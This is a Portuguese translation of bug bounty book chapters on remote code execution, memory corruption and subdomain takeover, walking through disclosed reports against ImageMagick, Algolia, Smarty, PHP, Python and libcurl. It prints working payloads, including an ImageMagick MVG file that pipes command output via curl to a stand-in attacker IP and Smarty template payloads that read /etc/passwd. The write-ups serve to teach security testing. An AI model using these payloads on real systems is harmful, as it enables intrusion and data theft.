Em PHP, por exemplo, isso pode parecer uma entrada do usuário sendo passada para a função system() .
Exemplos
1. Polyvore ImageMagick
Dificuldade: Alta
URL: Polyvore.com (aquisição do Yahoo)
Link do relatório: http://nahamsec.com/exploiting-imagemagick-on-yahoo/1

Data do relatório: 5 de maio de 2016
1http://nahamsec.com/exploiting-imagemagick-on-yahoo/
Execução Remota de Código 115
Descrição:
ImageMagick é um pacote de software comumente usado para processar imagens, como corte,
dimensionamento, etc. Imagick do PHP, rmagick e paperclip do Ruby e imagemagick do NodeJS fazem
uso dele e, em abril de 2016, várias vulnerabilidades foram divulgadas na biblioteca, uma das quais pode
ser explorado por invasores para executar código remoto, no qual vou me concentrar.
Resumindo, o ImageMagick não estava filtrando corretamente os nomes de arquivo passados para ele e
eventualmente usados para executar uma chamada de método system(). Como resultado, um invasor
pode passar comandos para serem executados, como https://example.com”|ls “-la que seriam executados.
Um exemplo do ImageMagick ficaria assim:
converter 'https://example.com"|ls "-la' out.png
Agora, curiosamente, ImageMagick define sua própria sintaxe para arquivos Magick Vector Graphics
(MVG). Portanto, um invasor pode criar um arquivo exploit.mvg com o seguinte código:
push caixa de visualização de

contexto gráfico 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)' pop

gráfico-contexto
Isso seria então passado para a biblioteca e se um site fosse vulnerável, o código seria executado listando
os arquivos no diretório.
Com esse pano de fundo em mente, Ben Sadeghipour testou um site de aquisição do Yahoo, Polyvore,
para a vulnerabilidade. Conforme detalhado em sua postagem no blog, Ben primeiro testou a
vulnerabilidade em uma máquina local que ele controlava para confirmar se o arquivo mvg funcionava
corretamente. Aqui está o código que ele usou:
push gráfico-contexto
viewbox 0 0 640 480
imagem sobre 0,0 0,0 'https://127.0.0.1/x.php?x=`id | curl http://SOMEIPADDRESS:8080/ \ -d
@- > /dev/null`' pop contexto gráfico
Aqui, você pode ver que ele está usando a biblioteca cURL para fazer uma chamada para
SOMEIPADDRESS (mude para qualquer que seja o endereço IP do seu servidor). Se for bem-sucedido,
você deve obter uma resposta como a seguinte:
Resposta do servidor de teste Ben Sadeghipour ImageMagick
Em seguida, Ben visitando o Polyvore, carregou o arquivo como sua imagem de perfil e recebeu esta resposta em seu
servidor:
Ben Sadeghipour Polyvore ImageMagick response
Aprendizado
A leitura é uma grande parte do hacking bem-sucedido e isso inclui ler sobre vulnerabilidades
de software e vulnerabilidades e exposições comuns (identificadores CVE).
Conhecer as vulnerabilidades anteriores pode ajudá-lo quando você encontrar sites que não
acompanharam as atualizações de segurança. Nesse caso, o Yahoo corrigiu o servidor, mas
foi feito incorretamente (não consegui encontrar uma explicação do que isso significava). Como
resultado, saber sobre a vulnerabilidade do ImageMagick permitiu que Ben visasse
especificamente esse software, o que resultou em uma recompensa de $ 2.000.
2. Algolia RCE em facebooksearch.algolia.com
Dificuldade: Alta
URL: facebooksearch.algolia.com
Descrição: Em
25 de abril de 2016, Michiel Prins, co-fundador do HackerOne estava fazendo algum trabalho de reconhecimento
em Algolia.com, usando a ferramenta Gitrob, quando percebeu que Algolia havia comprometido publicamente
sua secret_key_base para um repositório público. Ser incluído no capítulo deste livro obviamente significa que
Michiel alcançou a execução remota de código, então vamos detalhá-lo.
Primeiro, o Gitrob é uma ótima ferramenta (incluída no capítulo Ferramentas) que usará a API do GitHub para
escanear repositórios públicos em busca de arquivos e informações confidenciais. Ele usa um repositório de
sementes como uma entrada e, na verdade, irá percorrer todos os repositórios para os quais os autores
contribuíram no repositório de sementes inicial. Com esses repositórios, ele procurará arquivos confidenciais
com base em palavras-chave como senha, segredo, banco de dados etc., incluindo extensões de arquivo
confidenciais como .sql.
Então, com isso, Gitrob teria sinalizado o arquivo secret_token.rb no repositório de busca do facebook de
Angola por causa da palavra secret. Agora, se você está familiarizado com o Ruby on Rails, este arquivo deve
levantar uma bandeira vermelha para você, é o arquivo que armazena o Rails secret_key_base, um valor que
nunca deve ser tornado público porque o Rails o usa para validar seus cookies.
Verificando o arquivo, verifica-se que Angolia havia enviado o valor para seu repositório público (você ainda
pode ver o commit em https://github.com/algolia/facebook-search/- commit/
f3adccb5532898f8088f90eb57cf991e2d499b49#diff-afe98573d9aad940bb0f531ea55734f8R As Além disso, se você está se
perguntando o que deveria ter sido confirmado, foi uma variável de ambiente como ENV['SECRET_KEY_BASE'] que lê o valor
de um local não confirmado no repositório.
Agora, a razão pela qual o secret_key_base é importante é por causa de como o Rails o usa para validar seus
cookies. Um cookie de sessão no Rails será algo como /_MyApp_-
session=BAh7B0kiD3Nlc3Npb25faWQGOdxM3M9BjsARg%3D%3D–dc40a55cd52fe32bb3b8 (cortei esses valores
significativamente para caber na página). Aqui, tudo antes do - é um objeto serializado codificado em base64. A
peça após o – é uma assinatura HMAC que Rails usa para confirmar a validade do objeto da primeira metade. A
assinatura HMAC é criada usando o segredo como entrada. Como resultado, se você souber o segredo, poderá
forjar seus próprios cookies.
Neste ponto, se você não estiver familiarizado com objetos serializados e o perigo que eles representam, forjar
seus próprios cookies pode parecer inofensivo. No entanto, quando o Rails recebe o cookie e valida sua
assinatura, ele irá desserializar o objeto que está invocando métodos nos objetos que estão sendo
desserializados. Dessa forma, esse processo de desserialização e a invocação de métodos nos objetos
serializados oferecem a possibilidade de um invasor executar código arbitrário.
Levando tudo isso de volta à descoberta de Michiel, desde que ele descobriu o segredo, ele foi capaz de criar
seus próprios objetos serializados armazenados como objetos codificados em base64, assiná-los e passá-los
para o site por meio dos cookies. O site então executaria seu código. Para fazer isso, ele usou uma ferramenta
de prova de conceito do Rapid7 para o metasploit-framework, Rails Secret Deserialization. A ferramenta cria
um cookie que inclui um shell reverso que permite
Michiel para executar comandos arbitrários. Como tal, ele executou id que retornou uid=1000(prod) gid=1000(prod)
groups=1000(prod). Embora muito genérico para o seu gosto, ele decidiu criar o arquivo hackerone.txt no servidor,
comprovando a vulnerabilidade.
Aprendizado
Embora nem sempre seja emocionante e de cair o queixo, realizar o reconhecimento

adequado pode ser valioso. Aqui, Michiel encontrou uma vulnerabilidade aberta desde
6 de abril de 2014, simplesmente executando o Gitrob no repositório Angolia Facebook-
Search acessível ao público. Uma tarefa que pode ser iniciada e executada enquanto
você continua a pesquisar e hackear outros alvos, voltando a ela para revisar as
descobertas assim que estiver concluída.
3. Foobar Smarty Template Injection RCE
Dificuldade: Média
URL: n/a
Descrição:
Embora esta seja minha vulnerabilidade favorita encontrada até o momento, ela está em um programa privado,
portanto não posso divulgar o nome dela. Também é um pagamento baixo, mas eu sabia que o programa tinha
pagamentos baixos quando comecei a trabalhar neles, então isso não me incomoda.
Em 29 de agosto, fui convidado para um novo programa privado que chamaremos de Foobar. Ao fazer meu
reconhecimento inicial, notei que o site estava usando Angular para seu front-end, o que geralmente é uma bandeira
vermelha para mim, já que eu havia encontrado vulnerabilidades de injeção Angular anteriormente. Como resultado,
comecei a trabalhar nas várias páginas e formulários que o site oferecia, começando com meu perfil, inserindo
{{7*7}} procurando 49 a serem renderizados. Embora não tenha tido sucesso na página de perfil, notei a capacidade
de convidar amigos para o site, então decidi testar a funcionalidade.
Depois de enviar o formulário, recebi o seguinte e-mail:
E-mail de convite Foobar
Ímpar. O início do e-mail incluía um rastreamento de pilha com um erro do Smarty informando que
7*7 não foi reconhecido. Esta foi uma bandeira vermelha imediata. Parecia que meu {{7*7}} estava
sendo injetado no modelo e o modelo estava tentando avaliá-lo, mas não reconheceu 7*7.
A maior parte do meu conhecimento sobre injeções de modelo vem de James Kettle (desenvolvedor
da Burpsuite), então fiz uma rápida pesquisa no Google por seu artigo sobre o tópico que incluía
uma carga útil a ser usada (ele também tem uma ótima apresentação do Blackhat que recomendo
assistir no YouTube) . Rolei para baixo até a seção Smarty e tentei a carga incluída
{self::getStreamVariable(“file:///proc/self/loginuuid”)} e nada. Sem saída.
Curiosamente, relendo o artigo, James realmente incluiu a carga que eu viria a usar no início do
artigo. Aparentemente, na minha pressa eu perdi. Provavelmente para o melhor, dada a experiência
de aprendizado que o trabalho com isso realmente me proporcionou.
Agora, um pouco cético quanto ao potencial de minha descoberta, fui para a documentação do
Smarty como James sugeriu. Fazer isso revelou algumas variáveis reservadas, incluindo
{$smarty.version}. Adicionar isso como meu nome e reenviar o e-mail resultou em:
E-mail de convite Foobar com versão Smarty
Observe que meu nome agora se tornou 2.6.18 - a versão do Smarty que o site estava executando.
Agora estamos chegando a algum lugar. Continuando a ler a documentação, descobri a
disponibilidade de usar tags {php} {/php} para executar código PHP arbitrário (essa era a parte do
artigo de James). Isso parecia promissor.
Agora tentei o payload {php}print “Hello”{/php} como meu nome e enviei o e-mail, que resultou em:
E-mail de convite Foobar com avaliação PHP
Como você pode ver, agora meu nome era Hello. Como teste final, eu queria extrair o
/etc/passwd para demonstrar o potencial disso para o programa. Então usei a carga, {php}
$s=file_get_contents('/etc/passwd');var_dump($s);{/php}. Isso executaria a função
file_get_contents para abrir, ler e fechar o arquivo /etc/passwd atribuindo-o à minha
variável que então descarregaria o conteúdo da variável como meu nome quando o
Smarty avaliasse o código. Enviei o e-mail, mas meu nome estava em branco. Esquisito.
Lendo sobre a função na documentação do PHP, decidi tentar pegar um pedaço do
arquivo imaginando se havia um limite para o tamanho do nome. Isso transformou minha
carga em {php}$s=file_get_contents('/etc/passwd',NULL,NULL,0,100);var_dump($s);{/
php}. Observe o NULL,NULL,0,100, isso levaria os primeiros 100 caracteres do arquivo
em vez de todo o conteúdo. Isso resultou no seguinte e-mail:
E-mail de convite Foobar com conteúdo /etc/passwd
Sucesso! Agora eu era capaz de executar código arbitrário e, como prova de conceito,
extrair todo o arquivo /etc/passwd 100 caracteres por vez. Enviei meu relatório e a
vulnerabilidade foi corrigida em uma hora.
Aprendizado
Trabalhar nessa vulnerabilidade foi muito divertido. O rastreamento de pilha inicial foi
uma bandeira vermelha de que algo estava errado e, como algumas outras
vulnerabilidades detalhadas no livro, onde há fumaça, há fogo. Embora a postagem
do blog de James Kettle tenha de fato incluído a carga maliciosa a ser usada, eu a
ignorei. No entanto, isso me deu a oportunidade de aprender e fazer o exercício de
ler a documentação do Smarty. Fazer isso me levou às variáveis reservadas e à tag
{php} para executar meu próprio código.
Resumo
A Execução Remota de Código, como outras vulnerabilidades, geralmente é resultado da entrada do
usuário que não foi devidamente validada e tratada. No primeiro exemplo fornecido, o ImageMagick
não estava escapando adequadamente do conteúdo que poderia ser malicioso. Isso, combinado com
o conhecimento de Ben sobre a vulnerabilidade, permitiu que ele encontrasse e testasse áreas com
probabilidade de serem vulneráveis. Com relação à busca por esses tipos de vulnerabilidades, não há
uma resposta rápida. Esteja ciente dos CVEs lançados e fique atento ao software usado por sites que
podem estar desatualizados, pois provavelmente podem estar vulneráveis.
Com relação à descoberta de Angolia, Michiel foi capaz de assinar seus próprios cookies, permitindo
assim que ele enviasse códigos maliciosos na forma de objetos serializados que eram confiáveis para
Rails.
15. Memória
Descrição
estouro de buffer
Um estouro de buffer é uma situação em que um programa que grava dados em um buffer ou área de
memória tem mais dados para gravar do que o espaço realmente alocado para essa memória.
Pense nisso em termos de uma bandeja de cubos de gelo, você pode ter espaço para criar 12, mas deseja
criar apenas 10. Ao encher a bandeja, você adiciona muita água e, em vez de preencher 10 pontos,
preenche 11. Você acabou de transbordar o tampão do cubo de gelo.
Estouros de buffer levam, na melhor das hipóteses, a um comportamento errático do programa e, na pior,
a uma séria vulnerabilidade de segurança. A razão é que, com um Buffer Overflow, um programa vulnerável
começa a sobrescrever dados seguros com dados inesperados, que podem ser chamados posteriormente.
Se isso acontecer, esse código sobrescrito pode ser algo completamente diferente do esperado pelo
programa, o que causa um erro. Ou um hacker mal-intencionado pode usar o estouro para escrever e
executar código malicioso.
Aqui está uma imagem de exemplo da Apple1 :
Exemplo de estouro de buffer
Aqui, o primeiro exemplo mostra um potencial estouro de buffer. A implementação de strcpy pega a string
“Larger” e a grava na memória, desconsiderando o espaço alocado disponível (as caixas brancas) e
gravando na memória não intencional (as caixas vermelhas).
1https://developer.apple.com/library/mac/documentation/Security/Conceptual/SecureCodingGuide/Articles/
BufferOverflows.html
Memória
124
Leia fora dos limites
Além de gravar dados além da memória alocada, outra vulnerabilidade está na leitura de dados fora de
um limite de memória. Este é um tipo de Buffer Overflow em que a memória está sendo lida além do
que o buffer deveria permitir.
Um exemplo famoso e recente de uma vulnerabilidade que lê dados fora de um limite de memória é o
OpenSSL Heartbleed Bug, divulgado em abril de 2014. No momento da divulgação, aproximadamente
17% (500k) dos servidores da Web seguros da Internet certificados por autoridades confiáveis
acreditava-se que os laços eram vulneráveis ao ataque (https://en.wikipedia.org/wiki/Heartbleed2 ).
Heartbleed pode ser explorado para roubar chaves privadas do servidor, dados de sessão, senhas, etc.
Ele foi executado enviando uma mensagem “Heartbeat Request” para um servidor que enviaria
exatamente a mesma mensagem de volta ao solicitante. A mensagem pode incluir um parâmetro de
comprimento. Aqueles vulneráveis ao ataque alocaram memória para a mensagem com base no
parâmetro de comprimento sem considerar o tamanho real da mensagem.
Como resultado, a mensagem Heartbeat foi explorada enviando uma pequena mensagem com um
parâmetro de comprimento grande que os destinatários vulneráveis usaram para ler a memória extra
além do que foi alocado para a memória da mensagem. Aqui está uma imagem da Wikipédia:
2https://en.wikipedia.org/wiki/Heartbleed
Memória 125
Exemplo de sangramento
Embora uma análise mais detalhada de Buffer Overflows, Read Out of Bounds e Heartbleed esteja além do escopo
deste livro, se você estiver interessado em aprender mais, aqui estão alguns bons recursos:
Documentação da Apple3
Entrada de estouro de buffer da Wikipédia4
3https://developer.apple.com/library/mac/documentation/Security/Conceptual/SecureCodingGuide/Articles/
BufferOverflows.html
4https://en.wikipedia.org/wiki/Buffer_overflow
Memória 126
Wikipédia NOP Slide5
Abra o projeto de segurança de aplicativos da Web 6
Heartbleed.com7
Corrupção de memória
A corrupção de memória é uma técnica usada para expor uma vulnerabilidade fazendo com que o código
execute algum tipo de comportamento incomum ou inesperado. O efeito é semelhante a um estouro de
buffer em que a memória é exposta quando não deveria.
Um exemplo disso é a injeção de byte nulo. Isso ocorre quando um byte nulo ou string vazia %00 ou 0x00
em hexadecimal é fornecido e leva a um comportamento não intencional do programa receptor. Em C/C++,
ou linguagens de programação de baixo nível, um byte nulo representa o final de uma string ou terminação
de string. Isso pode dizer ao programa para parar de processar a string imediatamente e os bytes que vêm
após o byte nulo são ignorados.
Isso é impactante quando o código depende do comprimento da string. Se for lido um byte nulo e o
processamento parar, uma string que deveria ter 10 caracteres pode ser transformada em 5. Por exemplo:
esta é% 00minhastring
Essa string deve ter um comprimento de 15, mas se a string terminar com o byte nulo, seu valor será 6. Isso
é problemático com linguagens de nível inferior que gerenciam sua própria memória.
Agora, com relação aos aplicativos da Web, isso se torna relevante quando os aplicativos da Web interagem
com bibliotecas, APIs externas etc. escritos em C. Passar %00 em uma URL pode levar os invasores a
manipular recursos da Web, incluindo leitura ou gravação de arquivos com base no permissões do aplicativo
da web no ambiente de servidor mais amplo. Principalmente quando a linguagem de programação em
questão, como PHP, é escrita em uma linguagem de programação C propriamente dita.
5https://en.wikipedia.org/wiki/NOP_slide
6https://www.owasp.org/index.php/Buffer_Overflow
7http://heartbleed.com
Memória 127
Links OWASP
Confira mais informações em OWASP Buffer Overflows8 Conheça o OWASP

Revisando código para saturações e estouros de buffer 9 Confira o teste OWASP para estouros de
buffer10 Confira o teste OWASP para estouros de heap11 Confira o teste OWASP para estouros de
pilha12 Confira mais informações no OWASP
Incorporando Código Nulo13
Exemplos
1. PHP ftp_genlist()
Dificuldade: Alta
URL: N/A
Link do relatório: https://bugs.php.net/bug.php?id=6954514
Descrição:
A linguagem de programação PHP é escrita na linguagem de programação C que tem o prazer de gerenciar
sua própria memória. Conforme descrito acima, estouros de buffer permitem que usuários mal-intencionados
gravem no que deveria ser uma memória inacessível e potencialmente executem código remotamente.
Nesta situação, a função ftp_genlist() da extensão ftp permitia um estouro ou envio de mais de ÿ4.294 MB,
que teriam sido gravados em um arquivo temporário.
Isso, por sua vez, resultou em um buffer alocado muito pequeno para manter os dados gravados no arquivo
temporário, o que resultou em um estouro de heap ao carregar o conteúdo do arquivo temporário de volta na
memória.
8https://www.owasp.org/index.php/Buffer_Overflows
9https://www.owasp.org/index.php/Reviewing_Code_for_Buffer_Overruns_and_Overflows
10https://www.owasp.org/index.php/Testing_for_Buffer_Overflow_(OTG-INPVAL-014)
11https://www.owasp.org/index.php/Testing_for_Heap_Overflow 12https://www.owasp.org/
index.php/Testing_for_Stack_Overflow 13https://www.owasp.org/index.php/
Embedding_Null_Code 14https://bugs.php.net/bug.php?id=69545
Memória 128
Aprendizado
Buffer Overflows é uma vulnerabilidade antiga e bem conhecida, mas ainda comum ao
lidar com aplicativos que gerenciam sua própria memória, particularmente C e C++.
Se você descobrir que está lidando com um aplicativo da Web baseado na linguagem
C (na qual o PHP foi escrito), estouros de buffer são uma possibilidade distinta. No
entanto, se você está apenas começando, provavelmente vale mais a pena encontrar
vulnerabilidades relacionadas à injeção mais simples e voltar aos estouros de buffer
quando tiver mais experiência.
2. Módulo Hotshot do Python
Dificuldade: Alta
URL: N/A
Link do relatório: http://bugs.python.org/issue2448115
Data do relatório: 20 de junho de 2015
Descrição:
Assim como o PHP, a linguagem de programação Python é escrita na linguagem de programação C, que como
mencionado anteriormente, gerencia sua própria memória. O Python Hotshot Module é um substituto para o
módulo de perfil existente e é escrito principalmente em C para obter um impacto de desempenho menor do
que o módulo de perfil existente. No entanto, em junho de 2015, foi descoberta uma vulnerabilidade de estouro
de buffer relacionada ao código que tentava copiar uma string de um local de memória para outro.
Essencialmente, o código vulnerável chamado de método memcpy que copia a memória de um local para
outro levando o número de bytes a serem copiados. Aqui está a linha:
memcpy(self->buffer + self->index, s, len);
O método memcpy usa 3 parâmetros, str, str2 e n. str1 é o destino, str é a origem a ser copiada e n é o número
de bytes a serem copiados. Neste caso, aqueles correspondem a self->buffer + self->index, s e len.
Nesse caso, a vulnerabilidade residia no fato de que o self->buffer sempre tinha um tamanho fixo, enquanto
os s podiam ter qualquer tamanho.
15http://bugs.python.org/issue24481
Memória
129
Como resultado, ao executar a função de cópia (como no diagrama da Apple acima), a função memcpy
desconsideraria o tamanho real da área copiada para criar o estouro.
Aprendizado
Agora vimos exemplos de duas funções que implementadas incorretamente são altamente
suscetíveis a estouros de buffer, memcpy e strcpy. Se soubermos que um site ou aplicativo
depende de C ou C++, é possível pesquisar nas bibliotecas de código-fonte dessa linguagem (use
algo como grep) para encontrar implementações incorretas.
A chave será encontrar implementações que passem uma variável de comprimento fixo como o
terceiro parâmetro para qualquer função, correspondendo ao tamanho dos dados a serem
alocados quando os dados que estão sendo copiados são de fato de comprimento variável.
No entanto, como mencionado acima, se você está apenas começando, pode valer mais a pena
desistir de procurar esses tipos de vulnerabilidades, voltando a eles quando estiver mais confortável
com o hacking de chapéu branco.
3. Libcurl lido fora dos limites
Dificuldade: Alta
URL: N/A
Link do relatório: http://curl.haxx.se/docs/adv_20141105.html16 Data do
relatório: 5 de novembro de 2014 Recompensa paga: US$ 1.000
Descrição:
Libcurl é uma biblioteca gratuita de transferência de URL do lado do cliente e usada pela ferramenta de linha
de comando cURL para transferência de dados. Foi encontrada uma vulnerabilidade na função libcurl
curl_easy_duphandle() que pode ter sido explorada para enviar dados confidenciais que não se destinavam
à transmissão.
Ao realizar uma transferência com libcurl, é possível usar uma opção, CURLOPT_COPY POSTFIELDS para
especificar um local de memória para os dados a serem enviados para o servidor remoto.
Em outras palavras, pense em um tanque de retenção para seus dados. O tamanho do local (ou tanque) é
definido com uma opção separada.
Agora, sem ser excessivamente técnico, a área de memória foi associada a um “handle” (saber exatamente
o que é um handle está além do escopo deste livro e não é necessário
16http://curl.haxx.se/docs/adv_20141105.html
Memória 130
para acompanhar aqui) e os aplicativos podem duplicar o identificador para criar uma cópia dos dados. É
aqui que estava a vulnerabilidade - a implementação da cópia foi executada com a função strdup e os
dados foram considerados como tendo um byte zero (nulo) que denota o final de uma string.
Nessa situação, os dados podem não ter um byte zero (nulo) ou ter um em um local arbitrário. Como
resultado, o identificador duplicado pode ser muito pequeno, muito grande ou travar o programa.
Adicionalmente, após a duplicação, a função de envio de dados não contabilizava os dados já lidos e
duplicados pelo que também acedeu e enviou dados para além do endereço de memória a que se
destinava.
Aprendizado
Este é um exemplo de uma vulnerabilidade muito complexa. Embora pareça muito
técnico para o propósito deste livro, incluí-o para demonstrar as semelhanças com o
que já aprendemos. Quando analisamos isso, essa vulnerabilidade também estava
relacionada a um erro na implementação do código C associado ao gerenciamento de
memória, especificamente a cópia de memória. Novamente, se você for começar a se
aprofundar na programação de nível C, comece a procurar as áreas onde os dados
estão sendo copiados de um local de memória para outro.
4. Corrupção de memória do PHP
Dificuldade: Alta
URL: N/A
Link do relatório: https://bugs.php.net/bug.php?id=6945317
Descrição:
O método phar_parse_tarfile não contava com nomes de arquivo que começavam com um byte nulo, um
byte que começava com um valor zero, ou seja, 0x00 em hex.
Durante a execução do método, quando o nome do arquivo é usado, ocorrerá um underflow no array (ou
seja, tentar acessar dados que realmente não existem e estão fora da memória alocada do array).
Esta é uma vulnerabilidade significativa porque fornece um acesso de hacker à memória que deveria estar
fora dos limites.
17https://bugs.php.net/bug.php?id=69453
Memória 131
Aprendizado
Assim como Buffer Overflows, Memory Corruption é uma vulnerabilidade antiga, mas
ainda comum ao lidar com aplicativos que gerenciam sua própria memória,
particularmente C e C++. Se você descobrir que está lidando com um aplicativo da
Web baseado na linguagem C (na qual o PHP foi escrito), procure maneiras de
manipular a memória. No entanto, novamente, se você está apenas começando,
provavelmente vale mais a pena encontrar vulnerabilidades relacionadas à injeção
mais simples e voltar à corrupção de memória quando tiver mais experiência.
Resumo
Embora as vulnerabilidades relacionadas à memória gerem ótimas manchetes, elas são muito difíceis de
trabalhar e exigem uma quantidade considerável de habilidade. Esses tipos de vulnerabilidades devem ser
deixados de lado, a menos que você tenha experiência em programação em linguagens de programação
de baixo nível.
Embora as linguagens de programação modernas sejam menos suscetíveis a eles devido ao seu próprio
manuseio de memória e coleta de lixo, os aplicativos escritos nas linguagens de programação C ainda são
muito suscetíveis. Além disso, quando você está trabalhando com linguagens modernas escritas nas
próprias linguagens de programação C, as coisas podem ficar um pouco complicadas, como vimos com
os exemplos PHP ftp_genlist() e Python Hotshot Module .
16. Aquisição de Subdomínio
Descrição
Uma aquisição de subdomínio é realmente o que parece, uma situação em que uma pessoa mal-intencionada é capaz
de reivindicar um subdomínio em nome de um site legítimo. Resumindo, esse tipo de vulnerabilidade envolve um site
criando uma entrada DNS para um subdomínio, por exemplo, Heroku (a empresa de hospedagem) e nunca reivindicando
esse subdomínio.
1. example.com se registra no Heroku 2.

example.com cria uma entrada DNS apontando subdomain.example.com para unicorn457.heroku.com 3. example.com nunca
reivindica unicorn457.heroku.com 4. Uma pessoa maliciosa reivindica unicorn457. heroku.com e replica example.com 5. Todo o
tráfego para o subdomínio.example.com é direcionado para um site malicioso que se parece com example.com
Portanto, para que isso aconteça, é necessário que haja entradas DNS não reivindicadas para um serviço externo
como Heroku, Github, Amazon S3, Shopify etc. Uma ótima maneira de encontrá-las é usando o KnockPy, que é
discutido na seção Ferramentas e itera sobre uma lista comum de subdomínios para verificar sua existência.
Exemplos
1. Aquisição de Subdomínio da Ubiquiti
Dificuldade: Baixa
URL: http://assets.goubiquiti.com Link do
Descrição:
Aquisição de Subdomínio 133
Assim como implica a descrição de aquisições de subdomínio, http://assets.goubiquiti.com tinha uma entrada
de DNS apontando para o Amazon S3 para armazenamento de arquivos, mas nenhum bucket do Amazon S3
realmente existente. Aqui está a captura de tela do HackerOne:
Goubiquiti Ativos DNS
Como resultado, uma pessoa mal-intencionada pode reivindicar uwn-images.s3-website-us-west-1.amazonaws.com e

hospedar um site lá. Supondo que eles possam fazer com que pareça Ubiquiti, a vulnerabilidade aqui está enganando
os usuários para que enviem informações pessoais e assumam contas.
Aprendizado
As entradas de DNS apresentam uma oportunidade nova e única de expor vulnerabilidades. Use o
KnockPy na tentativa de verificar a existência de subdomínios e, em seguida, confirme se eles
estão apontando para recursos válidos, prestando atenção especial a provedores de serviços
terceirizados como AWS, Github, Zendesk, etc. - serviços que permitem registrar URLs
personalizados.
2. Scan.me apontando para o Zendesk
Dificuldade: Baixa
Url: support.scan.me Link
do relatório: https://hackerone.com/reports/1141342 Data do
relatório: 2 de fevereiro de 2016 Recompensa paga: US$ 1.000
Descrição:
Assim como o exemplo da Ubiquiti, aqui, scan.me - uma aquisição do Snapchat - tinha uma entrada CNAME
apontando support.scan.me para scan.zendesk.com. Nesta situação, o hacker harry_mg conseguiu reivindicar
scan.zendesk.com para o qual support.scan.me teria direcionado.
E é isso. $ 1.000 de pagamento
Aprendizado
PRESTAR ATENÇÃO! Essa vulnerabilidade foi encontrada em fevereiro de 2016 e não era nada
complexa. A caça de insetos bem-sucedida requer observação aguçada.
3. Aquisição de Subdomínio Shopify Windsor
Dificuldade: Baixa
URL: windsor.shopify.com
Descrição:
Em julho de 2016, Shopify divulgou um bug em sua configuração de DNS que deixou o subdomínio
windsor.shopify.com redirecionado para outro domínio, aislingofwindsor.com , que eles não possuíam mais.
Lendo a reportagem e conversando com o repórter @zseano, há algumas coisas que tornam isso interessante
e notável.
Primeiro, @zseano, ou Sean, se deparou com a vulnerabilidade enquanto procurava outro cliente com o qual
estava trabalhando. O que chamou sua atenção foi o fato de que os subdomínios eram *.shopify.com. Se você
conhece a plataforma, as lojas cadastradas seguem o padrão de subdomínio, *.myshopify.com. Isso deve ser
um sinal de alerta para áreas adicionais testarem vulnerabilidades. Parabéns a Sean pela observação aguçada.
No entanto, nessa observação, o escopo do programa da Shopify limita explicitamente seu programa às lojas
da Shopify, seu administrador e API, software usado no aplicativo da Shopify e subdomínios específicos. Ele
afirma que, se o domínio não estiver listado explicitamente, não está no escopo, portanto, aqui, eles não
precisavam recompensar Sean.
Em segundo lugar, a ferramenta usada por Sean, crt.sh , é incrível. Levará um nome de domínio, nome da
organização, impressão digital do certificado SSL (mais se você usou a pesquisa avançada) e retornará
subdomínios associados aos certificados da consulta de pesquisa. Ele faz isso monitorando os logs do Certificate
Transparency. Embora este tópico esteja além do escopo deste livro, em poucas palavras, esses logs verificam
se os certificados são válidos. Ao fazer isso, eles também revelam um grande número de servidores e sistemas
internos potencialmente ocultos, todos os quais devem ser explorados se o programa que você está invadindo
incluir todos os subdomínios (alguns não!).
Em terceiro lugar, depois de encontrar a lista, Sean começou a testar os sites um por um. Esta é uma etapa que
pode ser automatizada, mas lembre-se, ele estava trabalhando em outro programa e foi desviado.
Então, depois de testar windsor.shopify.com, ele descobriu que estava retornando uma página de erro de
domínio expirado. Naturalmente, ele comprou o domínio, aislingofwindsor.com , então agora a Shopify estava
apontando para seu site. Isso poderia permitir que ele abusasse da confiança que uma vítima teria com a
Shopify, pois pareceria ser um domínio da Shopify.
Ele finalizou o hack relatando a vulnerabilidade ao Shopify.
Aprendizado
Conforme descrito, existem vários tópicos aqui. Primeiro, comece a usar crt.sh para
descobrir subdomínios. Parece ser uma mina de ouro de metas adicionais dentro de um
programa. Em segundo lugar, as aquisições de subdomínio não se limitam apenas a
serviços externos como S3, Heroku, etc. Aqui, Sean deu o passo extra de realmente
registrar o domínio expirado que o Shopify estava apontando. Se ele fosse malicioso,
poderia ter copiado a página de login da Shopify no domínio e começado a coletar as credenciais do usuário.
4. Snapchat Fastly Takeover
Dificuldade: Média
URL: http://fastly.sc-cdn.net/takeover.html Link do
Descrição:
Fastly é uma rede de entrega de conteúdo, ou CDN, usada para entregar conteúdo rapidamente aos usuários.
A ideia de um CDN é armazenar cópias de conteúdo em servidores em todo o mundo para que haja um tempo
e uma distância menores para entregar esse conteúdo aos usuários que o solicitam. Outro exemplo seria o
CloudFront da Amazon.
Em 27 de julho de 2016, Ebrietas relatou ao Snapchat que eles tinham uma configuração incorreta de DNS que
resultou na url http://fastly.sc-cdn.net com um registro CNAME apontado para um subdomínio Fastly que não
era seu. O que torna isso interessante é que o Fastly permite que você registre subdomínios personalizados
com o serviço deles se for criptografar seu tráfego com TLS e usar o certificado curinga compartilhado para
fazer isso. Segundo ele, visitar a URL resultou em mensagem semelhante a “Erro rápido: domínio
desconhecido: XXXXX. Verifique se este domínio foi adicionado a um serviço.”.
Embora Ebrietas não tenha incluído o URL do Fastly usado na aquisição, olhando para a documentação do
Fastly (https://docs.fastly.com/guides/securing-communications/setting-up-free tls), parece que seguiram o padrão
EXAMPLE.global.ssl.fastly.net. Com base em sua referência ao subdomínio como “uma instância de teste do
fastly”, é ainda mais provável que o Snapchat tenha configurado isso usando o certificado curinga Fastly para
testar algo.
Além disso, há dois pontos adicionais que tornam este relatório digno de nota e que vale a pena explicar:
1. fastly.sc-cdn.net era o subdomínio do Snapchat que apontava para o Fastly CDN. Esse domínio,
sc-cdn.net, não é muito explícito e realmente poderia pertencer a qualquer pessoa se você
tivesse que adivinhar apenas olhando para ele. Para confirmar sua propriedade, Ebrietas
procurou o certificado SSL com censys.io. Isso é o que distingue os bons hackers dos grandes
hackers, executando aquela etapa extra para confirmar suas vulnerabilidades em vez de arriscar.
2. As implicações da aquisição não foram imediatamente aparentes. Em seu relatório inicial,

Ebrietas afirma que não parece que o domínio seja usado em nenhum lugar do Snapchat. No
entanto, ele deixou seu servidor funcionando, verificando os logs depois de algum tempo
apenas para encontrar chamadas do Snapchat, confirmando que o subdomínio estava realmente em uso.
root@localhost:~# cat /var/log/apache2/access.log | grep -v status do servidor | grep sn\

apchat -i
23.235.39.33 - - [02/Ago/2016:18:28:25 +0000] "GET /bq/story_blob?story_id=fRaYutXlQ\

BosonUmKavo1uA&t=2&mt=0 HTTP/1.1...
